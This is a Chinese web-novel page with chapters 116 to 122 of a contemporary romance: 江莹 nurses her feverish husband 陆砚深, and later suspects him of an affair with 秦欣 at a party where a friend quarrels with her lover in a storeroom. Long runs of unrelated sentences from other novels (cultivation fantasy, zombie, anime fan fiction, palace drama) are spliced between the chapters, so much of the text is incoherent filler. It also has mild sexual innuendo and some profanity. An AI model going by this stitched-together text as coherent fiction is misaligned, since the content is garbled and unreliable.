若是以前,江莹可能压不住他,但现在的陆砚深跟病猫差不多,江莹三两下就把他的衣服解开,露出大片胸膛。
陆砚深猛地一个寒战,压着声音,“江莹,你要不要脸,病人你也上?”
不知道是气的还是烧得,陆砚深这会儿整张脸都是绯色,就连胸膛都带着淡淡的粉色。
江莹骑在他腰上,突然有种掌控这个男人的感觉。
该说不说,感觉还挺好。
这个姿势,他们从来没有解锁过。
江莹现在有些理解,为什么陆砚深从不用这个姿势,他那样强势的人,被女人掌控,是有点接受不了。
她将体温计塞到陆砚深腋下,帮他盖上被子,学着他之前的语气,眼神轻浮,“你身上什么地方我没有见过,你要脸往我房间跑?”
陆砚深气地咳了起来,自己厚脸皮这么明显吗?
江莹帮他顺着胸口,笑道:“以其人之道还治其人之身,还挺爽。”
陆砚深嘴巴都要被她气歪了,他刚想张嘴说她脸皮厚,结果一张口这个无法无天的女人趁机把一颗药塞到他嘴里。
捏着他的嘴,勾起他的下巴往上一提,药片直接滑到嗓子眼,想不咽都难。
陆砚深本来就很不舒服,被她这么一折腾,想发火,对上江莹弯成月牙的眼睛,心里瞬间就顺了。
“小样儿,吃个药这么费劲,你现在全身上下也就嘴硬了。”
陆砚深皱眉,这个女人就是专门来气他的。他想开口,唇瓣被江莹捏着。
他实在没有力气推她,抓着她的手腕,示意她松手。
江莹问:“咽下去了吗?”
陆砚深没好气瞪着她,喉结滚了滚,不情不愿地眨眼。
江莹这才松手,结果下一秒,陆砚深不知道哪儿来的爆发力,勾住她的腰用力一翻将人压在身下。
他捏住她的下巴,喘着粗气,咬牙切齿,“是不是真觉得我不能把你怎么样?”
陆砚深烧得不轻,只是这样的动作,就累得他气喘吁吁。
都成了个病猫了,还这么逞强。
江莹有些想笑,但她确定,如果自己真的笑出来,陆砚深一定会拼了命也要做点什么。
干嘛跟个病号计较呢。
江莹叹了口气,温声细语道,“我错了,陆总,你别生气了,你烧这么厉害,不吃药也不去医院,我不也是担心你的身体嘛。”
“少糊弄我,担心从出事到现在,从来没有问过我有没有受伤,腿疼不疼?你巴不得我死了好继承遗产走人吧?江莹,这世上没有比你更会无情的女人!”
狗男人,一会儿说她贪婪,一会儿又说她无情,要不是看在他是个病号,她现在就想一脚踹他下去。
脑子真是烧糊涂了,她可从来没有说过要继承遗产,连离婚都只要了三个亿,相比他千亿身家,婚内出轨,这点补偿不多吧?
“你放心,我们结婚时宣誓说过无论生老病死不离不弃,我不可能在你刚走就拿钱走人。”
陆砚深眉头刚舒展几分,就听江莹嗓音淡淡道:“最起码我得为你守三年,要不然对不起你那千亿资产。”
陆砚深差点一口气没上来,她知不知道他是病人,有这么跟一个病人说话的吗?
他捏着她的下巴,声音很冷,喷出的气息却滚烫,“你休想!”
陆砚深说完,趴在她身上,温热的唇贴着她的颈部。
“我可没说要,是你自己说我想继承你的遗产。”江莹推他,怕他压到自己的肚子,“离婚我也只是要我应得的,没有抓着你的把柄让你净身出户。”
陆砚深压在她肚子上的腿挪了下去,低声道:“你眼里就只有钱。”
江莹气笑,顺着他的话道,“是啊,我就是看你有钱才嫁给你的,你又不是不知道我家里人都把你当摇钱树。”
陆砚深抬眼瞪她,有气无力道,“我就知道!”
江莹不跟一个病人计较,抬手从他腋窝取出温度计,对着光线看,三十八度八。
想到杜宇说他是伤口发炎,江莹摸到消炎药,拿出一颗贴着他的唇缝挤进他嘴里。
在她往里挤的时候,还故意将药弄碎,他想吐都没有机会。
陆砚深瞬间皱眉,梗着脖子咽下去后,咬牙道:“江莹,等我好了我再给你算账。”
“杜宇没走,就在楼下,他看到你现在这个样子,你觉得会怎样?”
江莹被他压着没办法脱身,眼珠子转转,声音故意放大了几个分贝,“杜宇!”
陆砚深本来已经有些犯困的脑子,瞬间支棱起来,立马翻身站了起来,还不忘扯了扯身上的衣服。
江莹突然绷不住,笑了出来。
陆砚深看着她,那眼神想杀人。
“躺下睡觉。”
江莹起身,把位置让给他。
“你去哪儿?”
江莹看着他可怜兮兮的神色,心里软了一下,“你睡觉,我收拾一下。”
陆砚深看了她一眼,竟然还有些委屈,那眼神像是即将被遗弃的流浪猫。
江莹心想好人做到底,毕竟也是为了救她受伤的。
她扶着陆砚深躺下,开始收拾地上碎裂的玻璃杯。
陆砚深看着她忙碌的身影,不知怎么,喉咙有些发涩。
第116章 她骗,他看
等江莹处理完,拿着医药箱过来,查看他的膝盖。
撩开他的裤腿,膝盖上红紫一片,肿得很高,还有些渗血,可能是他刚刚用力造成的。
“冰溪呢?她还在磨蹭什么?是不是因为分别太伤感所以她不想来了?”苍月剑圣问道。
没曾想,高婷婷会联系很多人来玩,大部分都不认识,高婷婷似乎怕云茉雨寂寞似的,介绍男的给她认识。
他是几个月前通过的无双境初选,这一次跟同门一起赶过来参加年选,本以为只是除掉一只突然出现的蛮兽,不会有什么难度。
中午,缪可蒂和缪凯恩、季璃汐约好一起吃饭,结果只见缪凯恩来的时候居然还带上了陆敏。
“就是的呀!我们都等了这么的久了!就是一直拿着令牌钓我们的胃口!要是没有别人的话!我一定马上的就要将你给那啥了!看你还敢这样的钓人家的胃口不?”艾米瑞达慢慢的凑近陈城说道。
万志伟过来时,那对冤家情侣已经走到拐角处了。结完账后云茉雨一回头,便对上了万志伟晶晶亮的眼神。
“离皇上召见还有些时日,这几天我们就在这里好好玩玩吧。”饮墨开心地提议道,剑泉也欣然同意。
干活的时候,洛南一直在想,今天要把谁发展为下线——不,发展为朋友。
这片空间内的奥妙柳毅不可能窥探的出来,当即老本老实的盘坐了下来,借这里的灵力感悟己身。
他目光扫过场内,似乎是想要看清楚,今天苍雷山来的客人,都有谁。
虽然从第一阶层到十二阶层都属于LV1冒险者的活动范围,但即便是LV1的冒险者,能力也是有区别的。
之前就有不少人看过这栋建筑,但上面并没有挂牌,而且也不允许外人进入。
听见荣棠拍桌子,门外一堆人就冲进了上房,手里都拿着家伙,只等他们主子爷下令,他们就上去把这莫六给剁了。
想到这里顾宝儿脸色越发苍白,尖尖的指甲扣着她的手心,但是她像是感觉不到疼似的。
“叶宁薇,我忍你是有限度的!”以前叶宁薇闹就算了,但是今天这么多人白霜霜不想要跟她闹,也不想要在这里出尽风头。
王妃,解药也能有种子的吗?有一点解药,还能够种出来一堆?生生不息这样子?
陈妈是按照霍子政的吩咐在厨房里面煲汤,她自然是闻到了一股子香味,她肚子里馋虫顿时被勾了起来。
此役,大乾将动用四个兵团,合计36万大军,兵分三路,从金犼国东海岸,同时对金犼国发起攻击。
我伸手将眼前的矿石拾起,凑到眼前瞧了瞧,上面有着舞刚才的牙印,而且矿石的表面已经有了破损,那么内部也有一定的损失。
我说出了角虫哥布林头领并不能够理解的话,只是我的剑刃挥出,劈砍中角虫哥布林头领的眼睛,在这个瞬间,角虫哥布林头领也做出防御,它伸出另一只空着的手臂,想要护住脑袋。
徐虎说的也是实话,虽然风千他们的组队人数增加了,获得安魂果的几率也会增加,但人均下来,这个优势将被抵消,可是如果徐家和唐家合作,那么两家的人在安魂之地中,生存几率将会大增。
风千知道他大意了,灵魂一旦受伤,是非常难以治疗的,好在他得到大量的安魂果,不然灵魂上的这一丝伤痕,不知道什么时候才能治好,能不能治好?
不过,那几个黑箱子坠入海中之后却并没有爆炸,就像是石块一样不断地向海底深处沉去。
这一次,秦焱没有再施展功法,而是身子弯曲如弓形,接着猛地舒展开,脚下的空间震碎,出现了空间裂缝的同时,他的身子竟超越了极限一般,留下了一道道残影。
即便是前世的秦焱,登顶了万族仙路,也没有当即就突破踏入剑圣。
一把伞遮住了上空,林果子已经追上来,一把扯住她的衣袖。她甩开,他一把抓住她的胳膊;她再甩开,他一把将她抱入怀中。
“现在的比赛非常的激烈!由于叶枫的意外事故,原来的格局被迅速打破了!而在队友遭遇困难的情况下,顾青稳定的发挥还是保证了飙风极速战车的领先地位。而现在紧跟在他身后的则是顾琳和何兵。
风千心中同样震惊,没想到黑色巨鸟竟然是三头黑秃,这比他想象中的还要难对付。
雷鸣正在为她的泪如雨下而手足无措时,乍见她瑟瑟发抖。“你怎么了?”他温柔地询问,但没得到回答。
没办法,这里毕竟是公司,凡事以工作优先。虽然白思叶满肚子火气,但是仍旧不得不先去办正事。临走之前,她不甘心地回头看向苏暖,却发现对方已经若无其事地和冷夜聊起天来,她的心中又是一阵无名邪火。
“为什么?为什么你会相信姐姐?为什么?!”休看着拥抱在一起的两人,在震惊过后,立刻大声的反问西蒙。
第117章 惦记人家挺久了
四个人进了餐厅,要了个安静的包间。
气氛却出奇的诡异。
平时最爱叽叽喳喳的梁玥,今天安静得像个鹌鹑。
她缩在椅子里,捧着杯热水,一直低头看手机。
“不了。谢谢你的邀请。”艾玛因为偷了照片心里发虚,礼貌的拒绝了对方的邀请,赶紧回家。
视野里,出现了两辆摩托车,摩托车上,穿着黑制服的卫兵熟练地转过街角。
“钱先生客气了!”张英夏自然不会喊什么‘钱胖子’,人家都说了,那是熟人才有的称呼。
以前的时候,尘缘内部的演员们,都会来敬酒。不说拉关系这种高难度的活儿,起码也是混个脸熟。
于是招来城卫军询问,才得知,原来是勾陈大帝突然下令关闭了城门,吕洞宾闻言顿时大怒。
陈义已经暗暗决定,如果此事真是伍秋榆所作所为,到时候绝对不会放过这家伙,一定要让他尝尝自己的厉害。
“怎么可能?城门固若金汤,即使被攻破,至少也要数日之功。那崇祯怎么可能在短短时间内攻破城门?”济尔哈朗质问道。
叶默师傅的脾气,那是真的差,一言不合就揍人。在山上,叶默几乎是每个星期都要挨揍,偶尔要挨揍两次。
好在骨祖、龟尊者、牛魔皇、八臂猿魔、麒麟山主和泥沼之主六位半步天神已经结成战阵,此刻虽然被太虚剑城撞飞,但也仅是受了点轻微的创伤,无伤大雅。
我在心中惊叫,却见那依旧端坐的白宣额间又一次涌出深红的血珠来,而后又像是被什么牵引一般,一颗颗,飘飘摇摇的渗入到青崖道人的额心。
末世中,丧尸是突然爆发的,有的城市还没彻底沦陷,但是有的已经成了一座废墟。
但九尾反而觉得鸣人是那个将木叶与自己的诡计看得一清二楚的‘旁观者’。
时局混乱,隐隐已有大事要发生得预兆。当天,叶知秋收到殷福平一封短信,信上面,只有简简单单几个字----。
卸妆之后,又泡了一个热水澡,许寄才觉得一身的疲劳消除了许多,乃至头发都还没完全擦干就已经昏昏欲睡了。
之前有强盗团队想要掠夺村庄,所幸的是村庄内有一名高手,出手将强盗击退。
六月的炎热使人烦躁,而教务处是我在这所学校中,一个天堂般的存在,冬天可以取暖,夏天可以乘凉。
听到这从院内传来之声,最为内心难受的当数现在还在府外的赵树和杜牧之了,倒是赵凯没有过多繁杂的思绪。
整句话,赵树只关心的是那个实力境界不低的人去了钱家,还如此急急忙忙的,没有往赵凯那去,心中的大石头稍稍掉下来了些许。
“曾经有无数惊才艳艳的死神与我一样努力,他们以为天赋+时间就能成为最强,但可惜,在我面前,他们终究都只是棋子罢了。”蓝染冷冷一笑,自言自语道。
找到了门沈心怡朝着里面看了一眼。蓝杰正躺在床上眯着眼睛。一条腿高高的架在床头上。人脸上确实有点苍白。倒像是真病了。
慕容离明显也有些慌了。一种巨大的恐惧萦绕在我的心头,违逆天地法则,倒回时光,会扰乱既有的历史以至于使整个未來混乱,眼前所发生的这一切,并不是对慕容离的惩罚,而是……时空的崩毁。
“放开我!!”季流年曲起手肘狠狠往后打去,想离开盛世的压制。
凌宝鹿和齐彧两人不约而同地说出爱他的话,坐在两人之间的齐越开心得不得了。
徐雅然把粥拿出来了,放在嘴边用勺子,慢慢的搅着粥,将粥里的热气慢慢的散了出来。等到粥温热了以后,徐雅然坐到床头,李益岚的枕头边上,用勺子慢慢的翘开了李益岚的唇,将一碗粥全部都给李益岚喂了下去。
“我到底有什么值得你们看重的地方?让你们一个个都对我青睐有加?”古凡追问道。
而她现在穿的也是平底鞋,就算狠狠踩在他的脚背上,对向梵来说,也是只不过是挠痒痒罢了,根本起不了什么作用。
出去也有些天了。房间里到处都是灰尘。不打扫她都不知道怎么住下去。
涂宝宝回到房间之后,立刻到浴室里拧开水笼头,冰冷的水将涂宝宝的思绪慢慢的拉了回来。
而且,究竟能否斩杀,方毅也没有把握,所以,他只能任由对方离去。
觉得只是盗华夏的墓没挑战,想找更高的挑战,于是将目标瞄向了西方,甚至全世界。
尼克眉头一皱,脸色一横,他牙齿一咬,决定硬冲出去了,他用脚轻轻踢了一下金毛虎王。
雷斌等人见状,也纷纷停了下来,一脸不解地看着陈腾,他们不知道陈腾为什么突然不走了。
独孤天命彻底不敢吭声,只能祈祷楚天可以把这些风给降服住,而这些风在那疯狂的旋转,像是要诉苦什么一样。
张谦在心里叹了口气,他真的想讲和,这样的话将来对抗天庭的力量就会更多一些。
“好像真是瑞大爷,这么晚了,他往那边府里作甚?”王顺也疑道。
而如今,海天竟然将海皇诀修炼到了十二层,达到圆满不过是时间的问题。
但是,古武世家的虚丹境强者,却是凭借着反震而来的强大力量,身体如同一片鹅毛般,向远处奔出了数百米。
姜玉轩刚刚跳到沙子之中,还没有来得及好好喘口气,然后就有一股巨大的力量作用到了姜玉轩的身上,他就像是拔萝卜一样被拔了出来,而且身体向着天空高出螺旋上升。
彼时,陆锦墨正开车跟在就近叫来的市中院救护车后面,一起往医院去。
雪婉瑜欠他的,他娶了她,如了她的愿,再让她一辈子生不如死。
“没什么好原谅的,你又没做错什么,只是被欺骗了。”陈枫道。
第118章 因为太小不好意思
江莹这才发现他这件高定衬衫的袖扣不见了。
陆砚深看着自己的袖口,神色沉了下去,他最近好几件衬衫的袖扣都乱了。
要么是不见了,要么就是左边和右边戴的根本不是一对。
……,林国民彻底服了,任他怎么问,李浩除了一句无可奉告之外,就什么也没有了。不得不让林国民放弃了想从李浩那里得到一点消息的想法。
若是一些心思不正的强者面对伏魔棍法,更可能被棍法所影响了心性,导致失心疯亦或者走火入魔。
不过属下猜测,是他完成了十连胜之后,受到了萧家的重视,所以赐予了一些珍贵的丹药。
安萨丁的话就是命令,特兰卡子爵不敢有任何异议,当即不迭点头应承下来。 。
天池上,留存九个独眼巨人,在蛤蟆的口中凌风知道,天池上的登天台,便是迷神天通往外门的通道。
看着空中出现的那一枚玉佩,凌风反手一剑,向着前方轰击过去。
见到罗迪时,督主教既不热情也不冷淡,一脸矜持的问向了身旁的约翰管家。
唐枫比光头矮半头,比起来也瘦弱得多,但就那么稳稳的单手握着光头的手腕,用的还是左手。
无花和尚和惜花公子的心头剧颤,闪过这个念头的同时,脑海中也浮现出了凌风接替他们,于竹楼下苦苦支撑的情景,羞愧欲死。
“话说那大卫古国何等浩瀚,历史悠久,传承数万载岁月,称得上是南疆玄域第一国度!”洪宇娓娓道来。
“虎子让开,这些家伙就‘交’给我了。”袁帅说罢取出招魂幡祭出一股黑‘色’罡风将那九团魂魄牢牢地控制了起来。
上官七七一脸的怒气,可看了看伊贺晴子那楚楚可怜的表情,便没在与冰峰计较。
十分钟后,恶鬼提着个大皮箱,掀开箱子,整箱的红头。让那一千汉字眼冒绿光,死死的盯着那些钱,不过,眼中更多的是迷茫,迷茫冰峰要做什么。
不敢想象,这一击若是被拍实,就算不会被直接拍成估计也不会好受到哪里去。
冉颜一直恪守这一点,自从秦云林死后,她不停的验尸,后来才至于她的情绪越来越少,性格越发死板。而自从来到大唐,她似乎鲜活了许多,那些寻常人该有的情感也涌了上来。
徐一辰将5个灵魂碎片给了慕容紫烟,然后将地上一枚银币跟几枚硬币捡起,然后分了齐大志一半,齐大志知道徐一辰的为人,也就没再推迟收下了。
千断百折手,是锻造兵器的,即使是现代科技也不能做到千断百折手造成的效果,不过这种绝技同样失传了。
刘青松少年时候在本家呆过一段时日与萧铉之有些‘交’情,他对萧铉之的印象也不错,因为以前所有萧氏的本家子弟都把他当做仆人的使唤,萧铉之却给了足够的尊重。
刘彦成一阵郁闷,冰峰也邪恶了,要是李强知道了叶飞宇他们的身份,恐怕非得吓死不可了,就算不死也不会有一点胆子去与寒乐清缠绵了。
宝珠两个上了楼,一眼便瞧见那两人在窗前一坐一立地候着,她打起精神来,笑着上前,那年纪略大些,留了两撇山羊胡,身形微胖的中年人不由得也仰起头细细打量她。
第119章 腹肌练得不错
嘿,给你点颜色你还开起染坊了!
江莹要笑不笑道,“那多委屈陆总啊?我心里过意不去的。”
说着,都没有等陆涛反应过来,便摇摇晃晃离开卡座,朝不远处唱歌台走去。
众人走后,任天一脸担忧的看向陆涛头上缠着的纱布,一起担心的再次劝说道。
一旁的清照喵、元璋喵乃至曹冲喵和狐白白都停下了吃汉堡的动作,齐刷刷地看向陈行。
刚进入包间,明天那位中年男子立马就笑容满面的起身,伸手过来客气的打招呼,这令陆涛和任颖不由都一愣,不过伸手不打笑脸人,陆涛也是笑得伸出手与中年男子握了一下,然后又开启几句便坐了下来。
目前已知术灵中阶级再高攻击力极限也就是五千,但这里指的仅仅是牌面上记载的原本攻击力数值而已。
楚河有点想知道,他嘴里的奖品究竟是什么,能让这些铁心卫心甘情愿地互相厮杀,以供他取乐。
他现在的积分已经足够让一位临时召唤的客人永久停留在猫咖了,如果他们出了什么事儿,自己当机立断出手,既能解决他们的危险,又能让猫咖新增成员,岂不美哉?
这座巨大的山洞里面由于布满了阵法和禁制,神识无法全面展开,所以他们才没有办法第一时间掌握这里的情况。
冬日的阳光洒落微弱的光辉,整片天地仍然灰蒙蒙一片,无法被驱除,就像被蒙上一层死亡的阴影。
他的神情还算平静,尽管出了演出事故,死了人,城市还因为未知的原因封锁了,但日子总归要过,趁偷闲的时间刷会儿视频。
倒在血泊中奄奄一息的白可儿眼睁睁的看着这一切,而他的娇躯却好像灌了铅似的根本挪不动。
“妈的,你个臭婊子,竟然敢打老子!”王癞子恼了,伸手给白雪脸上一边一个巴掌,直打得白雪嗷嗷叫唤。
而在地宫门口森林的空地上,有着许多尸体,这些都是在地宫门口爆发大战而造成的伤亡。
说完,向南飞虚影嘴角乏起冷笑,身影在一抹灭世之炎中化为虚无,同时一缕无法被感知的永恒之光力量直接穿透宇宙、混沌消失。
“我?你们不是说不信吗?”向南飞脸上浮现一抹笑容,但眼眸漆黑冰冷看着杜蔷薇她们。
又去吃饭?一副怪异的画面,一个矮瘦子揽着一个高胖子的肩在众人怪异的眼神中向前走去,而两人对此好像都习以为常了。
东方红袖又把眼光看向了刘宇,正在的主人,还没有开口说话呢,只见刘宇手一动,一个手机就出现在了他的手中。
甫一接近那剑阵,苏琴萱便被一股可怕的剑意牢牢锁定,灵光一闪,一丝危险涌上心头,立刻顿住身形往后倒飞而回,只见原先所在的位置,数十把飞剑犬牙交错,若是晚上半分,只怕要被长剑穿心而死。
“是的,爹。”在他老爹面前査局长有些怕,瞥一眼又低下头,他不敢隐瞒,沮丧的把什么都说了。
防范方法:由于是旧社会难产而死,现在难碰上,不过碰上就……最好不要理会她。
第120章 这两人说不定睡过
“她叫周晶晶,其实她也不算我徒弟,就是一起录过节目,现在跟我在同一个剧组,演我小妹。就是,这丫头挺粘我,一见如故那种。”
孟澜一边往里走,一边压低声音解释。
“其实我们做的一切都是为了你好呀。”这个时候何天一的向安吉拉德他解释这些。
众人都想不明白为何突然要他们离开,理智上讲,这永城奇怪的完全不像是人类居住的地方,他们是该走。但理智上说,元予礼方才救了他们,夜酒对他们也算不错。
当听见他这样说之后,陈凡他身后的这些工人们都是吵吵嚷嚷的。
但随即,五步穿心指的副作用便开始折磨魏若熙,令其不受控制地咳出血来。
将染血的不可视拳刺丢入空气中,让·克朗狞笑着看向了从唐雨寒身侧飞驰而来的电光。
王辉此刻皱紧眉头,露出一脸苦恼神色,看向林轩的眼神也充满了一丝复杂的情绪。
还记得前不久的自己,似乎才把系统中所有累积的钱全部都放到自己的银行卡里面,但是现在看起来,又积累的不少。
这时候付启简直就是个绝世救星,他的提议荼苦苦没什么意见的接纳了,并且拉着祁仙跟这个炸毛的老头聊了许久的天。
但是陈凡知道这中年男子是肯定不会把这么重要的信息轻易的透露给自己,这中年男子一定是别有目的。
秋娘眼神黯然,只得默默走到来时那个洞里,躲起来,虽说躲起来,但目光一直在洞内局势,若是林弈有何危险,她也势必出身挡住,就像五年前阎府众兄弟为林弈挡子弹一般。
一家人稍稍吃了些点心果腹,而后便命人带上了早先准备好的年礼,一道动身前往荣国公府。
眼见檀邀雨在自己面前卷起一阵烟尘又消失了的奚斤,完全的一头雾水。
今年全国武道大赛的前五武者,已经得到精灵神丹,那么,剩下十几颗精灵神丹,至少还可以撑两年。
“什么,嫌疑人都找到了?”秦丹丹露出惊讶的表情,随即张大嘴巴惊恐道。
张念祖揉着太阳穴走进储物室,阿萨莘这会吃饱喝足正在皱着眉头吸冷气——她的伤口开始发疼了。
听着异能者实力划分,风何热血沸腾,俏脸通红,感觉沉寂已久的骚年之血重新爆发,恨不得立马变成圣级异能者,打个酣畅淋漓。
此时服务员拿了酒来给张老酒,有生意来了服务员是最积极的,工资加提成,不努力哪里涨工资。
张念祖道:“目前也只能这么解释。”黑豹帮的名字他不陌生,毕竟本地人都或多或少听说过。
眼看着这么一个大高个儿真的弯下了腰来,岑黛忙不迭稍稍踮起了脚尖。
师公到时先看了檀邀雨一眼,她还在打坐,九节鞭也依旧在她周围转着,跟前五日并无不同。然而行者们将自身罡气凝结在双眼后,就都看到了邀雨周身正被一种特殊的罡气缠绕着。
“那到没有,不过李娜说的也没错,不会有人来抢你姐夫的,我这么个大活人哪有这么容易被人抢走的呢。”李云飞摸了一下她的头说道。
既然覃老太太没有出手,那覃雪为什么会跑去跳楼自杀,难道真的像网上说的那样,是覃雪做贼心虚?
始皇帝的话自然就是秦国一等一重要的事,故而当嬴政重新回到皇城之中,张良便已经收到了旨意启程回城了,出城的时候身边数人,返回咸阳之时除了一个下人之外再无他人。
我完全没有想到此刻的陈落落居然会说出这句话,她雪白的胳膊上还有没有干的血渍,她的脸色也有些苍白,但是,她居然要用自己,来换我。
“这是什么?”范妮抬头看到这肉块墙壁高不见顶,而且还不断地以某个节奏蠕动,不由得皱眉露出恶心的表情。
“走!”贾正金一声令下,三头地龙狂奔起来,在鱼鹰城军队过来之前,沿着道路迅速前进。
一道流光悄无声息的进入了房间内,竟然没有惊动任何人,不过美惠子也不在房间内,而是在几百米外的一个广场上,带着三十几位姑娘在训练刀术,其实就是简单的劈砍刺。
一进入空间李知时就收到了从胖子那传来的消息,这家伙对自己进行了特别关注,就跟qq一样,自己一上线这家伙就能收到提示。当然,这种行为需要得到双方的授权才行。
月亮则是一脸惊喜,抬头向天,哈哈大笑,笑声不断,久久回荡在地下室中。
当我手上这张镇邪除秽符效力过去之后,那些怨气想要聚集起来更加的不容易,这时候赵广东收起手里的火球,从自己的包里掏出不少的黄符,他看到没看一眼,我知道他是用感觉就已经知道了画的是什么符。
高沙在心中想着,这一次机会可是很难得的,他一定要把握好才行,他要证明他的血脉中被封印着强大的力量。
一袭黑衣少年就那么安静地站在路灯下面,昏黄的灯光打在他本白皙的脸上,光线亮暗、棱角分明,眸子里散发着冷气,嘴唇轻轻抿着。
她陷入一阵的纠结,努力的组织语言,却发现根本就是无济于事。
壶尘庭春是一名脸色红润的老者,满头银发,根根如针,显得极为威猛,他向壶尘祖施完礼后,站直身形看向二侧台阶。
何鹏悄悄的跟上去,何鹏心想,这些家伙是专业的,自己这个业余的观察了两天才发现岩浆缓慢降落,对方却是短短几十秒就完工走人了,何鹏觉得应该在听听看看这些人是什么人,准备做什么。
穆母说的虽然不是很仔细,可是那样熟练的程度就像是这些事都发生在她自己身上一样。
就在王兴江提出反对意见之前,一个巨大的转盘就出现在了他的面前。
何鹏开启黄金眼扫了一眼,这应该是一个很深的缝隙,在往里三米外缝隙一拐就不知拐向哪里去了。
为了避免自己上传灵魂数据失败而导致自己彻底失去见证异世界的可能,茅场晶彦还专门设计了一个模拟他人格的高级AI,这个AI拥有跟他基本一样的记忆、情感,可以说是他的替身,所以绝对不会对他说谎。
第121章 弄疼你了?
“砚深,你周叔叔马上过来,越来越没规矩。”
陆静淑不喜欢越界的人,尤其是在经历到了陆君的事,她对秦欣更加反感。
“静淑姑姑、云舒姐姐,好久没有见到你们了。”
杨逗接过绿茶,直接放开双手,踩着油门任由车子自己跑,手里的冰镇饮料不停地往嘴里灌。
再加上考虑到殿下十分喜欢昨日君少爷做的吃食,说不定今日也能吃下不少。
“公子不可莽撞,来人是镇上的李家,他们有好几个弟子在烟霞洞天修行,即便公子有修为在身也不要硬碰硬。”老人知道秦洛铁心管这件事,不再隐瞒,急忙对他讲清厉害关系,免得他惹上大麻烦。
“以前也没出现过老师将这里当成五谷轮回之地的!”一个男同学郁闷道。
“对对,我就是这个意思!”宁哲激动的说道,因为他很想知道自己现在的修为到了何种境界。
以他接近剑仙、枪仙的修为自然不会被魔教的普通弟子发现,在经过半个月的探查后,终于把天外天的实力摸的一清二楚。
老人将柳逸然推到星云之中。身在星云之中,柳逸然并未有什么特别的感觉,反之一切的那么顺其自然。片刻间,星云飘散。而老人却消失不见。地上却多了一块坟墓。
没办法,教导天荷的任务只能交由爱德华自己来了,虽然爱德华也能感觉到,这或许就是天荷故意的。
姚落放在胸膛的手,被苏灵音的脚跺进了他的胸膛里,以至于他的手都能感觉到心脏的温度。
剑的外表有些不敢恭维,不仅没有剑鞘,整个剑身还坑坑洼洼的,一看就是锻造手艺不过关,用惨不忍睹来形容也不为过。
一个时辰后,黑炉再次发出震动,“轰”炉盖子飞起,法阵轰鸣,又一个白球在空中刹那形成。
周围的气氛变得有些怪异,巨雕一动不动的瞪着亚东,仿佛它随时都会要了亚东的命一样。
“确定以及肯定,我是神医,我可不会看走眼。”叶白自信满满的道。
在一刻间,亚东心里面突然有一种想法:如果能让瞬间力量与必杀掌完美的结合起来,由控制瞬间力量的运功方式来控制必杀掌,那挥出的力量也许就不是倾盘全力的必杀掌,而很可能就是能随心控制的随心掌。
只见它浑身皮肉开裂,白森森的骨骼都露了出来,身体塌陷干瘪,似以没有了生机,让人惊奇的是:它头上的那两只白翎羽却完好无损。
等他反应过来时已经逼近到头顶五米远,陈星海惊慌间,忙一把祭出十多张各种符,只感到一阵胸闷,雷电消化了。
“走咱也去歇歇。”尧慕尘瞅着石一涛的傻样咧嘴一乐,转身走进另一间贵宾厅,在舒适柔软的皮椅上坐下来。
大家其实已经明白,但是谁也说不出话来。看是被这场面所吓的。炸弹还没有爆炸他们仿佛已经嗅到了那浓浓的火药味。
说罢习惯性的敬了一个军礼,右手刚刚举了起来突然发现有点不对头,尴尬的表情瞬间在脸上显露出来,于总忍不住的扑哧笑了一声,带有很强烈的嘲笑意思。
关于周兴财的事情,我并没有问王雪,目前陈杰还在调查周兴财的相关视频,我要现在问王雪,就等于打草惊蛇。
第122章 将人揉入体内
江莹这会儿跟在陆砚深身边,默默当个透明人。
在一行人中,看秦欣时不时看向陆砚深就觉得好笑。
心想小三也不好当,尤其是人尽皆知的小三。
看她想上前又不敢靠近的样子,江莹突然就觉得自己头上的绿毛顺了不少。
“静淑,这次我还真帮你找到了一幅不错的画。”周行端一落座便兴奋地开口。
“那我等会儿得好好看看。”
“画在偏厅,等会儿带你去。”
其实也不是陆静淑喜欢书画,而是乔远文喜欢,她不过是投其所好罢了。
江莹想着露个脸就走,谁知没等到她走,陆砚深看了眼手机先离开。
“我去趟卫生间。”
江莹没搭理他,心想你走我也走。
在陆砚深离开后,江莹转身离开,才发现刚刚站在斜对面的秦欣也不见了。
她弯唇笑笑,还真是跟得紧,连上厕所的时间都不放过。
江莹找到梁玥,疑惑:“孟澜呢?”
周晶晶抢了话,“澜姐去洗手间了,有一会儿了,我正说去找她呢。”
梁玥不乐意跟沈斯阳待着,拉了江莹道:“我们去找找她。”
两人经过储物间被“咚”一声吓得顿住脚步。
“这里面有人?”
梁玥好奇地靠过去。
紧接着就是一个娇媚的女声,“你弄疼我了。”
这声音,如烟似水,作为多年编剧,梁玥深谙其中内涵。
她捂着嘴笑道:“我去,这么迫不及待,储物间都能变战场。”
江莹毕竟是过来人,立马明白她什么意思。
她上前拉着梁玥就走,能在这里办事,多半是偷,这样的场合来的要么是政界名流,要么是商海精英。但无论是哪一种,知道她们俩在门外都不会有好果子。
“哎,你说里面会是谁呀,怎么这么急,在这里就干了起来。”
“小声点。”江莹掐了她一下,“你写剧本也这么直白?”
“直白不好吗,减少大家的理解成本,有些人就觉得越直白越好,又不是写诗讲究优美动人,我们这一行讲究的是勾人,怎么让你欲罢不能才是核心。”
两人说着往卫生间走。
储藏室,孟澜张嘴咬在周野的小臂上,下了狠劲儿,周野吃痛松手。
孟澜脱离了他的禁锢,红着眼问:“为什么一年多一点消息都没有,我都以为你**。”
周野抬手摩挲着她的脸,“工作忙。”
“什么样的工作让你打个电话的时间都没有?”
孟澜想不通,知道他的工作会涉及一些危险行动,但刚开始在一起时,他几乎一天三顿饭都会报备。后来突然消失,一点踪迹都没有,让她以为他腻了或者出事了。
“不方便说,你就当是保密工作。”
孟澜对于这个说话并不接受,一年三百六十五个深夜,鬼知道她是怎么熬过来的。
“周野,我不是你召之即来挥之即去的坐台小姐,我们之间今天算是划上句号了。”
说完,她扯了扯有些褶皱的裙子,拍了拍自己的脸,转身出门。
江莹跟梁玥在卫生间找了一圈也没见到孟澜,疑惑间开口,“我们去外面找找,说不定已经回去了。”
两人返回时,储物间门口站着陆砚深和秦欣,秦欣拉着陆砚深的手腕,眼里布着一层水光,视线观察着周围,像是怕被人撞见。
看到他们俩,江莹瞬间气血上涌,直冲头顶。
“砚深,你想想办法,一定要救救我妈。她现在情况很凶险,医生说得**,要不然随时有生命危险。”
陆砚深皱眉,低垂着眸子,从未如此犯难过。
良久,他开口,“我会安排人去会诊,等会诊后再说。”
“**,刚才里面的人是这对狗男女?”
梁玥说着就要上前,**莹拉住。
“你干什么,绿帽子都给你焊头上了。”
江莹咬了咬嘴里肉,让自己平静,还没有痊愈的手,因为不自觉用力,瞬间痛感钻心。
